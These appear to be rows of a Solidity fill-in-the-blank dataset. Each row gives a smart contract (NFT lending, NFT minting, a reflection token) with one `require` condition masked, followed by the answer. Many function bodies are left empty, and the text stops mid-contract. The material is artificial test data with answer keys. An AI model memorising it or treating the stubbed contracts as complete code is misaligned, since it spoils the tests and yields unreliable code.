_payload.nftTokenId,
_payload.duration,
_payload.expiration,
_payload.loanAmount,
_payload.apr,
_payload.nftTokenType
)
);
bytes32 messageHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", _payloadHash)
);
if (msg.sender == _payload.borrower) {
require(<FILL_ME>)
} else if (msg.sender == _payload.lender) {
require(
ECDSA.recover(messageHash, _sig) == _payload.borrower,
"INVALID_SIGNATURE_BORROWER"
);
} else {
revert InvalidSender();
}
currentId = _createLoan(_payload);
usedSignatures[_sig] = true;
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig lender's signed message
/// @return currentId id of the created loan
function createCOffer(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice internal function to create loan
/// @param _payload structure LoanPayload
/// @return currentId id of the created loan
function _createLoan(LoanPayload memory _payload)
internal
returns (uint256 currentId)
{
}
/// @notice Borrower pays back for loan
/// @param _loanId the id of loans
/// @param _amountDue amount is needed to pay
function repayLoan(uint256 _loanId, uint256 _amountDue)
external
payable
nonReentrant
{
}
/// @notice Lender can liquidate loan item if loan is not paid
/// @param _loanId the id of loans
function liquidateLoan(uint256 _loanId) external nonReentrant {
}
/// @notice Set onlyExistLoan by owner
/// @param _value value
function setOnlyExitLoan(bool _value) external onlyOwner {
}
/// @notice Set cancelled signatures by client
/// @param _sig user's signed message
/// @return status result of this function
function setCancelledSignature(bytes memory _sig) external returns (bool) {
}
/// @notice Change durationUnit by owner
/// @param _value value
function changeDurationUnit(uint256 _value) external onlyOwner {
}
/// @notice Standard method to send nft from an account to another
function transferNFT(
address _from,
address _to,
address _nftAddress,
uint256 _nftTokenId,
uint8 _nftTokenType,
bool _punkTransfer
) internal {
}
}
| ECDSA.recover(messageHash,_sig)==_payload.lender,"INVALID_SIGNATURE_LENDER" | 69,682 | ECDSA.recover(messageHash,_sig)==_payload.lender |
"INVALID_SIGNATURE_BORROWER" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/ICryptoPunksMarket.sol";
import "./LendingCore.sol";
error InvalidSender();
error UnknownTokenType();
/// @notice liqd lending and borrowing contract
contract LiqdLending is
ReentrancyGuard,
ERC721Holder,
ERC1155Holder,
LendingCore
{
using SafeERC20 for IERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public DAO; // solhint-disable-line var-name-mixedcase
uint256 public id;
bool public onlyExitLoan;
mapping(bytes => bool) public cancelledSignatures;
uint256 internal durationUnit = 86400; // Unit: 1 day
bool internal canChangeDurationUnit;
mapping(bytes => bool) internal usedSignatures;
constructor(
address _DAO, // solhint-disable-line var-name-mixedcase
bool _canChangeDurationUnit
) {
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig user's signed message
/// @return currentId id of the created loan
function createLoan(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
require(!usedSignatures[_sig], "This signature is already used");
require(!cancelledSignatures[_sig], "This signature is not valid");
bytes32 _payloadHash = keccak256(
abi.encode(
_payload.borrower,
_payload.nftAddress,
_payload.currency,
_payload.nftTokenId,
_payload.duration,
_payload.expiration,
_payload.loanAmount,
_payload.apr,
_payload.nftTokenType
)
);
bytes32 messageHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", _payloadHash)
);
if (msg.sender == _payload.borrower) {
require(
ECDSA.recover(messageHash, _sig) == _payload.lender,
"INVALID_SIGNATURE_LENDER"
);
} else if (msg.sender == _payload.lender) {
require(<FILL_ME>)
} else {
revert InvalidSender();
}
currentId = _createLoan(_payload);
usedSignatures[_sig] = true;
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig lender's signed message
/// @return currentId id of the created loan
function createCOffer(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice internal function to create loan
/// @param _payload structure LoanPayload
/// @return currentId id of the created loan
function _createLoan(LoanPayload memory _payload)
internal
returns (uint256 currentId)
{
}
/// @notice Borrower pays back for loan
/// @param _loanId the id of loans
/// @param _amountDue amount is needed to pay
function repayLoan(uint256 _loanId, uint256 _amountDue)
external
payable
nonReentrant
{
}
/// @notice Lender can liquidate loan item if loan is not paid
/// @param _loanId the id of loans
function liquidateLoan(uint256 _loanId) external nonReentrant {
}
/// @notice Set onlyExistLoan by owner
/// @param _value value
function setOnlyExitLoan(bool _value) external onlyOwner {
}
/// @notice Set cancelled signatures by client
/// @param _sig user's signed message
/// @return status result of this function
function setCancelledSignature(bytes memory _sig) external returns (bool) {
}
/// @notice Change durationUnit by owner
/// @param _value value
function changeDurationUnit(uint256 _value) external onlyOwner {
}
/// @notice Standard method to send nft from an account to another
function transferNFT(
address _from,
address _to,
address _nftAddress,
uint256 _nftTokenId,
uint8 _nftTokenType,
bool _punkTransfer
) internal {
}
}
| ECDSA.recover(messageHash,_sig)==_payload.borrower,"INVALID_SIGNATURE_BORROWER" | 69,682 | ECDSA.recover(messageHash,_sig)==_payload.borrower |
"ONLY_EXIT_LOAN" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/ICryptoPunksMarket.sol";
import "./LendingCore.sol";
error InvalidSender();
error UnknownTokenType();
/// @notice liqd lending and borrowing contract
contract LiqdLending is
ReentrancyGuard,
ERC721Holder,
ERC1155Holder,
LendingCore
{
using SafeERC20 for IERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public DAO; // solhint-disable-line var-name-mixedcase
uint256 public id;
bool public onlyExitLoan;
mapping(bytes => bool) public cancelledSignatures;
uint256 internal durationUnit = 86400; // Unit: 1 day
bool internal canChangeDurationUnit;
mapping(bytes => bool) internal usedSignatures;
constructor(
address _DAO, // solhint-disable-line var-name-mixedcase
bool _canChangeDurationUnit
) {
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig user's signed message
/// @return currentId id of the created loan
function createLoan(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig lender's signed message
/// @return currentId id of the created loan
function createCOffer(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice internal function to create loan
/// @param _payload structure LoanPayload
/// @return currentId id of the created loan
function _createLoan(LoanPayload memory _payload)
internal
returns (uint256 currentId)
{
require(<FILL_ME>)
require(_payload.expiration >= block.timestamp, "EXPIRED_SIGNATURE"); // solhint-disable-line not-rely-on-time
require(availableCurrencies[_payload.currency], "NOT_ALLOWED_CURRENCY");
require(_payload.duration > 0, "ZERO_DURATION");
uint256 platformFee = calculatePlatformFee(
_payload.loanAmount,
platformFees[_payload.currency]
);
currentId = id;
loans[currentId] = Loan({
nftAddress: _payload.nftAddress,
nftTokenId: _payload.nftTokenId,
startTime: block.timestamp, // solhint-disable-line not-rely-on-time
endTime: block.timestamp + (_payload.duration * durationUnit), // solhint-disable-line not-rely-on-time
currency: _payload.currency,
loanAmount: _payload.loanAmount,
amountDue: calculateDueAmount(
_payload.loanAmount,
_payload.apr,
_payload.duration
),
status: Status.CREATED,
borrower: _payload.borrower,
lender: _payload.lender,
nftTokenType: _payload.nftTokenType
});
transferNFT(
_payload.borrower,
address(this),
_payload.nftAddress,
_payload.nftTokenId,
_payload.nftTokenType,
false
);
if (_payload.currency != ETH_ADDRESS) {
IERC20(_payload.currency).safeTransferFrom(
_payload.lender,
_payload.borrower,
_payload.loanAmount - platformFee
);
if (platformFee > 0) {
IERC20(_payload.currency).safeTransferFrom(
_payload.lender,
DAO,
platformFee
);
}
} else {
require(
msg.value >= _payload.loanAmount + platformFee,
"ETH value is not enough."
);
(bool toSuccess, ) = _payload.borrower.call{ // solhint-disable-line avoid-low-level-calls
value: _payload.loanAmount - platformFee
}("");
require(toSuccess, "Transfer failed");
if (platformFee > 0) {
(bool daoSuccess, ) = DAO.call{value: platformFee}(""); // solhint-disable-line avoid-low-level-calls
require(daoSuccess, "Transfer failed to DAO");
}
}
emit LoanCreated(
_payload.lender,
_payload.borrower,
_payload.nftAddress,
_payload.nftTokenId,
currentId,
_payload.currency,
_payload.loanAmount,
platformFee
);
++id;
}
/// @notice Borrower pays back for loan
/// @param _loanId the id of loans
/// @param _amountDue amount is needed to pay
function repayLoan(uint256 _loanId, uint256 _amountDue)
external
payable
nonReentrant
{
}
/// @notice Lender can liquidate loan item if loan is not paid
/// @param _loanId the id of loans
function liquidateLoan(uint256 _loanId) external nonReentrant {
}
/// @notice Set onlyExistLoan by owner
/// @param _value value
function setOnlyExitLoan(bool _value) external onlyOwner {
}
/// @notice Set cancelled signatures by client
/// @param _sig user's signed message
/// @return status result of this function
function setCancelledSignature(bytes memory _sig) external returns (bool) {
}
/// @notice Change durationUnit by owner
/// @param _value value
function changeDurationUnit(uint256 _value) external onlyOwner {
}
/// @notice Standard method to send nft from an account to another
function transferNFT(
address _from,
address _to,
address _nftAddress,
uint256 _nftTokenId,
uint8 _nftTokenType,
bool _punkTransfer
) internal {
}
}
| !onlyExitLoan,"ONLY_EXIT_LOAN" | 69,682 | !onlyExitLoan |
"NOT_ALLOWED_CURRENCY" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/ICryptoPunksMarket.sol";
import "./LendingCore.sol";
error InvalidSender();
error UnknownTokenType();
/// @notice liqd lending and borrowing contract
contract LiqdLending is
ReentrancyGuard,
ERC721Holder,
ERC1155Holder,
LendingCore
{
using SafeERC20 for IERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public DAO; // solhint-disable-line var-name-mixedcase
uint256 public id;
bool public onlyExitLoan;
mapping(bytes => bool) public cancelledSignatures;
uint256 internal durationUnit = 86400; // Unit: 1 day
bool internal canChangeDurationUnit;
mapping(bytes => bool) internal usedSignatures;
constructor(
address _DAO, // solhint-disable-line var-name-mixedcase
bool _canChangeDurationUnit
) {
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig user's signed message
/// @return currentId id of the created loan
function createLoan(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig lender's signed message
/// @return currentId id of the created loan
function createCOffer(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice internal function to create loan
/// @param _payload structure LoanPayload
/// @return currentId id of the created loan
function _createLoan(LoanPayload memory _payload)
internal
returns (uint256 currentId)
{
require(!onlyExitLoan, "ONLY_EXIT_LOAN");
require(_payload.expiration >= block.timestamp, "EXPIRED_SIGNATURE"); // solhint-disable-line not-rely-on-time
require(<FILL_ME>)
require(_payload.duration > 0, "ZERO_DURATION");
uint256 platformFee = calculatePlatformFee(
_payload.loanAmount,
platformFees[_payload.currency]
);
currentId = id;
loans[currentId] = Loan({
nftAddress: _payload.nftAddress,
nftTokenId: _payload.nftTokenId,
startTime: block.timestamp, // solhint-disable-line not-rely-on-time
endTime: block.timestamp + (_payload.duration * durationUnit), // solhint-disable-line not-rely-on-time
currency: _payload.currency,
loanAmount: _payload.loanAmount,
amountDue: calculateDueAmount(
_payload.loanAmount,
_payload.apr,
_payload.duration
),
status: Status.CREATED,
borrower: _payload.borrower,
lender: _payload.lender,
nftTokenType: _payload.nftTokenType
});
transferNFT(
_payload.borrower,
address(this),
_payload.nftAddress,
_payload.nftTokenId,
_payload.nftTokenType,
false
);
if (_payload.currency != ETH_ADDRESS) {
IERC20(_payload.currency).safeTransferFrom(
_payload.lender,
_payload.borrower,
_payload.loanAmount - platformFee
);
if (platformFee > 0) {
IERC20(_payload.currency).safeTransferFrom(
_payload.lender,
DAO,
platformFee
);
}
} else {
require(
msg.value >= _payload.loanAmount + platformFee,
"ETH value is not enough."
);
(bool toSuccess, ) = _payload.borrower.call{ // solhint-disable-line avoid-low-level-calls
value: _payload.loanAmount - platformFee
}("");
require(toSuccess, "Transfer failed");
if (platformFee > 0) {
(bool daoSuccess, ) = DAO.call{value: platformFee}(""); // solhint-disable-line avoid-low-level-calls
require(daoSuccess, "Transfer failed to DAO");
}
}
emit LoanCreated(
_payload.lender,
_payload.borrower,
_payload.nftAddress,
_payload.nftTokenId,
currentId,
_payload.currency,
_payload.loanAmount,
platformFee
);
++id;
}
/// @notice Borrower pays back for loan
/// @param _loanId the id of loans
/// @param _amountDue amount is needed to pay
function repayLoan(uint256 _loanId, uint256 _amountDue)
external
payable
nonReentrant
{
}
/// @notice Lender can liquidate loan item if loan is not paid
/// @param _loanId the id of loans
function liquidateLoan(uint256 _loanId) external nonReentrant {
}
/// @notice Set onlyExistLoan by owner
/// @param _value value
function setOnlyExitLoan(bool _value) external onlyOwner {
}
/// @notice Set cancelled signatures by client
/// @param _sig user's signed message
/// @return status result of this function
function setCancelledSignature(bytes memory _sig) external returns (bool) {
}
/// @notice Change durationUnit by owner
/// @param _value value
function changeDurationUnit(uint256 _value) external onlyOwner {
}
/// @notice Standard method to send nft from an account to another
function transferNFT(
address _from,
address _to,
address _nftAddress,
uint256 _nftTokenId,
uint8 _nftTokenType,
bool _punkTransfer
) internal {
}
}
| availableCurrencies[_payload.currency],"NOT_ALLOWED_CURRENCY" | 69,682 | availableCurrencies[_payload.currency] |
"Pay back amount is not enough." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./interfaces/ICryptoPunksMarket.sol";
import "./LendingCore.sol";
error InvalidSender();
error UnknownTokenType();
/// @notice liqd lending and borrowing contract
contract LiqdLending is
ReentrancyGuard,
ERC721Holder,
ERC1155Holder,
LendingCore
{
using SafeERC20 for IERC20;
address private constant ETH_ADDRESS =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public DAO; // solhint-disable-line var-name-mixedcase
uint256 public id;
bool public onlyExitLoan;
mapping(bytes => bool) public cancelledSignatures;
uint256 internal durationUnit = 86400; // Unit: 1 day
bool internal canChangeDurationUnit;
mapping(bytes => bool) internal usedSignatures;
constructor(
address _DAO, // solhint-disable-line var-name-mixedcase
bool _canChangeDurationUnit
) {
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig user's signed message
/// @return currentId id of the created loan
function createLoan(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice Borrowers transfer their nft as collateral to Vault and get paid from the lenders.
/// @param _payload structure LoanPayload
/// @param _sig lender's signed message
/// @return currentId id of the created loan
function createCOffer(LoanPayload memory _payload, bytes memory _sig)
external
payable
nonReentrant
returns (uint256 currentId)
{
}
/// @notice internal function to create loan
/// @param _payload structure LoanPayload
/// @return currentId id of the created loan
function _createLoan(LoanPayload memory _payload)
internal
returns (uint256 currentId)
{
}
/// @notice Borrower pays back for loan
/// @param _loanId the id of loans
/// @param _amountDue amount is needed to pay
function repayLoan(uint256 _loanId, uint256 _amountDue)
external
payable
nonReentrant
{
Loan storage loan = loans[_loanId];
address loanCurrency = loan.currency;
require(loan.borrower == msg.sender, "WRONG_MSG_SENDER");
require(loan.status == Status.CREATED, "NOT_LOAN_CREATED");
require(block.timestamp <= loan.endTime, "EXPIRED_LOAN"); // solhint-disable-line not-rely-on-time
require(<FILL_ME>)
loan.status = Status.REPAID;
transferNFT(
address(this),
loan.borrower,
loan.nftAddress,
loan.nftTokenId,
loan.nftTokenType,
true
);
if (loan.currency != ETH_ADDRESS) {
IERC20(loan.currency).safeTransferFrom(
msg.sender,
loan.lender,
_amountDue
);
} else {
require(msg.value >= _amountDue, "ETH value is not enough.");
(bool toSuccess, ) = loan.lender.call{value: _amountDue}(""); // solhint-disable-line avoid-low-level-calls
require(toSuccess, "Transfer failed");
if (msg.value > _amountDue) {
(bool retSuccess, ) = payable(msg.sender).call{ // solhint-disable-line avoid-low-level-calls
value: msg.value - _amountDue
}("");
require(retSuccess, "Transfer back failed");
}
}
emit LoanLiquidated(
loan.lender,
loan.borrower,
loan.nftAddress,
loan.nftTokenId,
_loanId
);
}
/// @notice Lender can liquidate loan item if loan is not paid
/// @param _loanId the id of loans
function liquidateLoan(uint256 _loanId) external nonReentrant {
}
/// @notice Set onlyExistLoan by owner
/// @param _value value
function setOnlyExitLoan(bool _value) external onlyOwner {
}
/// @notice Set cancelled signatures by client
/// @param _sig user's signed message
/// @return status result of this function
function setCancelledSignature(bytes memory _sig) external returns (bool) {
}
/// @notice Change durationUnit by owner
/// @param _value value
function changeDurationUnit(uint256 _value) external onlyOwner {
}
/// @notice Standard method to send nft from an account to another
function transferNFT(
address _from,
address _to,
address _nftAddress,
uint256 _nftTokenId,
uint8 _nftTokenType,
bool _punkTransfer
) internal {
}
}
| (msg.value>0&&loanCurrency==address(0)&&msg.value>=_amountDue&&_amountDue>=loan.amountDue)||(loanCurrency!=address(0)&&msg.value==0&&_amountDue>=loan.amountDue),"Pay back amount is not enough." | 69,682 | (msg.value>0&&loanCurrency==address(0)&&msg.value>=_amountDue&&_amountDue>=loan.amountDue)||(loanCurrency!=address(0)&&msg.value==0&&_amountDue>=loan.amountDue) |
"MB: We Soldout" | //Developer : FazelPejmanfar , Twitter :@Pejmanfarfazel
pragma solidity >=0.7.0 <0.9.0;
contract ChillPepe is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.001 ether;
uint256 public maxSupply = 3333;
uint256 public freemint = 3;
bool public paused = false;
bool public revealed = false;
constructor(
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721A("Chill Pepe", "CPEPE") {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// public
function mint(uint256 tokens) public payable nonReentrant {
require(!paused, "MB: oops contract is paused");
uint256 supply = totalSupply();
require(tokens > 0, "MB: need to mint at least 1 NFT");
require(<FILL_ME>)
if(numberMinted(msg.sender) >= freemint) {
require(msg.value >= cost * tokens, "MB: insufficient funds");
} else {
require(msg.value >= cost * (tokens - freemint), "MB: insufficient funds");
}
_safeMint(_msgSender(), tokens);
}
/// @dev use it for giveaway and mint for yourself
function gift(uint256 _mintAmount, address destination) public onlyOwner nonReentrant {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function numberMinted(address owner) public view returns (uint256) {
}
//only owner
function reveal(bool _state) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setMaxsupply(uint256 _newsupply) public onlyOwner {
}
function setfreemint(uint256 _newsupply) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner nonReentrant {
}
}
| supply+tokens<=maxSupply,"MB: We Soldout" | 69,684 | supply+tokens<=maxSupply |
"Already free mint !" | // @openzeppelin v3.2.0
pragma solidity ^0.8.0;
contract AzukiElementals is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
constructor() public ERC721("Azuki Elementals", "AE") {}
mapping(address => uint256) public addressMintedCount;
mapping(address => uint256) public addressFreeMinted;
uint256 public mintPrice = 9900000000000000;
string private _baseTokenURI;
function mint(uint64 quantity) external payable {
require(msg.sender == tx.origin, "Be not allowed !");
if (quantity == 1) {
if (msg.value == 0) {
require(<FILL_ME>)
addressFreeMinted[msg.sender] += 1;
} else {
require(msg.value >= mintPrice, "Insufficient amount !");
}
} else {
require(msg.value >= mintPrice * quantity, "Insufficient amount !");
}
addressMintedCount[msg.sender] += quantity;
for (uint256 i = 0; i < quantity; i++) {
_mint(msg.sender, _tokenIdTracker.current());
_tokenIdTracker.increment();
}
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseUri(string memory _uri) external onlyOwner {
}
function setMintPrice(uint256 price) external onlyOwner {
}
function withdrow() external onlyOwner {
}
}
| addressFreeMinted[msg.sender]==0,"Already free mint !" | 69,711 | addressFreeMinted[msg.sender]==0 |
null | pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract CotaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cota Inu";
string private constant _symbol = "COTA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor(address payable addr1, address payable addr2) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function setFee(uint256 multiplier) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(<FILL_ME>)
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (12 hours);
}
else if (sellnumber[from] == 4) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() public onlyOwner {
}
function addLiquidity() external onlyOwner() {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
}
}
| buycooldown[to]<block.timestamp | 69,746 | buycooldown[to]<block.timestamp |
null | pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
